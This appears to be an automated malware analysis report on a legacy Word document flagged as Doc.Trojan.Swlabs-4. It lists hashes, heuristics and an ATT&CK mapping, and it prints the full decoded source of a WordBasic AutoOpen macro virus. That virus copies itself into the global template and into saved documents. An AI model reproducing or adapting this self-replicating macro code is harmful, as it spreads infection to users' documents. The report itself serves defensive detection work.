Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ea5446c8c46e334f…

MALICIOUS

Office (OLE)

28.5 KB Created: 1998-02-10 15:26:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 6e4defe0cb51894b6a61531fc69d8739 SHA-1: ad5bf9740266e65260393d1e70c3975f2c69f22e SHA-256: ea5446c8c46e334f47689537e53f4d307fc4f060e936c83a3079df3e9f45a728
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file contains a legacy WordBasic AutoOpen macro, identified by heuristics and the script content. This macro is designed to copy itself to global templates, which is a common technique for establishing persistence or spreading to other documents. The ClamAV detection further confirms its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.Swlabs-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Swlabs-4
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1533 bytes
SHA-256: 40250f16985fdc9851298de31b90e145289666ca248f0bd9d3faa559eecdcfc4
Detection
ClamAV: Doc.Trojan.Swlabs-4
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"
Public Sub MAIN()
Dim FName$
Dim MacName$
On Error GoTo -1: On Error GoTo ErrorHandler
     Rem SkamWerks Labs Presents the Victory is ours. Created by Cheezhed
     WordBasic.FileSummaryInfo Subject:="Green Bay Packers -- Super Bowl XXXI Champions"
     FName$ = WordBasic.[FileName$]()

     MacName$ = FName$ + ":AutoOpen"
     If WordBasic.[MacroFileName$]("AutoOpen") = "" Then
     WordBasic.MacroCopy MacName$, "Global:AutoOpen", 1
     WordBasic.MacroCopy MacName$, "Global:FileNew", 1
     WordBasic.MacroCopy MacName$, "Global:FileSave", 1
     WordBasic.MacroCopy MacName$, "Global:GreenBay", 1
ErrorHandler:
    
On Error GoTo -1: On Error GoTo AutoOpenHandler
     MacName$ = FName$ + ":AutoOpen"
     WordBasic.MacroCopy "Global:AutoOpen", MacName$, 1
AutoOpenHandler: On Error GoTo -1: On Error GoTo FileNewHandler
     MacName$ = FName$ + ":FileNew"
     WordBasic.MacroCopy "Global:FileNew", MacName$, 1
FileNewHandler: On Error GoTo -1: On Error GoTo FileSaveHandler
     MacName$ = FName$ + ":FileSave"
     WordBasic.MacroCopy "Global:FileSave", MacName$, 1
FileSaveHandler:
     If WordBasic.[FileName$]() <> "" Then
     WordBasic.FileSaveAs Format:=1
     End If
On Error GoTo 0:
End If
End Sub

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